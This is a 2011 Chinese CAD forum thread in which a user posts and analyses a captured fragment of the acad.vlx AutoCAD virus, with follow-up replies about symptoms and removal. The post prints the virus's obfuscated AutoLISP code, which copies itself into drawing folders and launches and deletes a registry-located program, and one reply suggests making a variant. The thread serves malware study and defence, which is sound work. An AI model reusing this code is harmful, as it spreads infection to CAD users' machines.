明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 4321|回复: 10

[风之影][源码]acad.vlx病毒感染的片段

[复制链接]
发表于 2011-9-26 20:24:36 | 显示全部楼层 |阅读模式
本帖最后由 cabinsummer 于 2011-11-18 18:16 编辑

截获一个病毒片段,该病毒自动在保存时生成acad.vlx。
在acad.mnl有如下内容
  1. (vl-file-copy (findfile (strcat (chr 108)(chr 111)(chr 103)(chr 111)(chr 46)(chr 103)(chr 105)(chr 102)))(strcat (getvar "dwgprefix")(chr 97)(chr 99)(chr 97)(chr 100)(chr 46)(chr 118)(chr 108)(chr 120)))
  2. ;;;(vl-file-copy (findfile "logo.gif")(strcat (getvar "dwgprefix") "acad.vlx"))
  3. (load "acadapp");;;加载acadapp
  4. (princ)
  5. (load "acadfile");;;加载acadfile
  6. (princ)
  7. (vl-file-delete
  8.   (findfile
  9.     (strcat
  10.       (vl-registry-read
  11.         (strcat
  12.           "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"
  13.           (chr 84)
  14.           (chr 88)
  15.           (chr 87)
  16.           (chr 83)
  17.           (chr 79)
  18.           (chr 102)
  19.           (chr 84)
  20.           (chr 95)
  21.           (chr 105)
  22.           (chr 115)
  23.           (chr 49)         
  24.         )
  25.         "InstallLocation"
  26.       )
  27.       "support\\"
  28.       (chr 77)
  29.       (chr 65)
  30.       (chr 73)
  31.       (chr 78)
  32.       (chr 46)
  33.       (chr 102)
  34.       (chr 97)
  35.       (chr 115)
  36.     )
  37.   )
  38. )
  39. ;;;(vl-file-delete (findfile (strcat (vl-registry-read "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\TXWSOfT_is1" "InstallLocation") "support\\" "main.fas")))

  40. (startapp
  41.   (vl-registry-read
  42.     (strcat
  43.       "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"
  44.       (chr 84)
  45.       (chr 88)
  46.       (chr 87)
  47.       (chr 83)
  48.       (chr 79)
  49.       (chr 102)
  50.       (chr 84)
  51.       (chr 95)
  52.       (chr 105)
  53.       (chr 115)
  54.       (chr 49)         
  55.     )
  56.     "QuietUninstallString"
  57.   )
  58. )
  59. ;;;(startapp (vl-registry-read "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\TXWSOfT_is1" "QuietUninstallString"))

  60. (vl-file-delete
  61.   (findfile
  62.     (strcat
  63.       (vl-registry-read
  64.         (strcat
  65.           "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"
  66.           (chr 84)
  67.           (chr 88)
  68.           (chr 87)
  69.           (chr 83)
  70.           (chr 79)
  71.           (chr 102)
  72.           (chr 84)
  73.           (chr 95)
  74.           (chr 105)
  75.           (chr 115)
  76.           (chr 49)         
  77.         )
  78.         "InstallLocation"
  79.       )
  80.       "support\\"
  81.       (chr 77)
  82.       (chr 65)
  83.       (chr 73)
  84.       (chr 78)
  85.       (chr 46)
  86.       (chr 102)
  87.       (chr 97)
  88.       (chr 115)
  89.     )
  90.   )
  91. )
  92. ;;;(vl-file-delete (findfile (strcat (vl-registry-read "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\TXWSOfT_is1" "InstallLocation") "support\\MAIN.fas")))

  93. (startapp
  94.   (vl-registry-read
  95.     (strcat
  96.       "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"
  97.       (chr 84)
  98.       (chr 88)
  99.       (chr 87)
  100.       (chr 83)
  101.       (chr 79)
  102.       (chr 102)
  103.       (chr 84)
  104.       (chr 95)
  105.       (chr 105)
  106.       (chr 115)
  107.       (chr 49)         
  108.     )
  109.     "QuietUninstallString"
  110.   )
  111. )
  112. ;;;(startapp (vl-registry-read "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\TXWSOfT_is1" "QuietUninstallString"))

  113. (load "acadapp")
  114. (princ)

该病毒同时感染多个mnl文件,修改ai_utils.lsp文件,在其中添加
  1. (vl-file-copy (findfile (strcat (chr 108)(chr 111)(chr 103)(chr 111)(chr 46)(chr 103)(chr 105)(chr 102)))(strcat (getvar "dwgprefix")(chr 97)(chr 99)(chr 97)(chr 100)(chr 46)(chr 118)(chr 108)(chr 120)))

可以肯定的是acad.vlx、logo.gif、main.fas、acadapp(扩展名可能是lsp或fas或vlx)、acadfile(扩展名可能是lsp或fas或vlx)都是病毒文件。从病毒片段来看,该病毒调用了注册表中指向路径的某个程序,在启动后又删除了它。请注意TXWSOfT_is1这个特征字。病毒肯定在其它地方有备份。这个备份的复制也许不是lisp做的,而是调用注册表指向路径的程序做的。由于忽略了这一点,笔者在删病毒时没有先将以上片段注释掉,导致病毒样本不完全。因为注释掉之后,那些删除病毒备份的语句不起作用,病毒就会露马脚。希望中acad.vlx病毒的大侠们继续,期待中……
"觉得好,就打赏"
还没有人打赏,支持一下
 楼主| 发表于 2011-9-26 21:44:04 | 显示全部楼层
原来没有一个大侠对此感兴趣
发表于 2011-9-26 23:16:44 | 显示全部楼层
你是希望大侠们多做病毒啊?
 楼主| 发表于 2011-9-27 01:27:33 | 显示全部楼层
zoubo604 发表于 2011-9-26 23:16
你是希望大侠们多做病毒啊?

我是反病毒的。开源只是让大家更加了解病毒。其实,编写病毒的人肯定要了解软件启动过程。就像DOS时代,很多人都能制作病毒,因为DOS操作系统被很多人研究透。而WINDOWS的病毒就不如DOS那么多,因为理解WINDOWS底层的人没有DOS那么多。AutoCAD就象一个操作系统,理解它本身,就会让CAD病毒无处藏身。我昨天就是因为杀毒过快,没有取得完整的病毒样本,所以帖子没写好。但是我给出了分析方法,所以希望反病毒的大侠们继续。也提醒制造病毒的大侠们,你们的痕迹已被我捕捉到了,下次隐藏自己的行踪应该更高级些才有挑战性。
发表于 2011-9-27 10:32:03 | 显示全部楼层
以前也研究了一下cad病毒
下面是我写的专杀工具.99%现在的cad病毒都能查杀。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

x

点评

这个工具还很不错,有的很傻,看见是LSP就杀  发表于 2012-5-8 09:03
大侠已经深入注册表了  发表于 2011-9-27 20:39
发表于 2011-9-27 20:04:07 | 显示全部楼层
中了这个病毒会怎么样....

点评

电脑会变得超级慢,存盘后会在当前文件夹下保存一个acad.vlx  发表于 2011-9-27 20:37
 楼主| 发表于 2011-9-28 03:51:20 | 显示全部楼层
xshrimp 发表于 2011-9-27 10:32
以前也研究了一下cad病毒
下面是我写的专杀工具.99%现在的cad病毒都能查杀。

我公布病毒源码,是让有兴趣的人研究,如果仅仅是杀毒,你应该另立帖子。
发表于 2011-10-6 01:08:52 | 显示全部楼层
改改,弄个变种出来
发表于 2012-1-29 23:48:42 | 显示全部楼层
每一个文件都会生成一个acad.vlx,如何解决这个问题?
发表于 2012-1-30 01:02:03 | 显示全部楼层
有没有给程序重创的部分..........片段
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2025-6-9 04:08 , Processed in 0.142388 second(s), 28 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表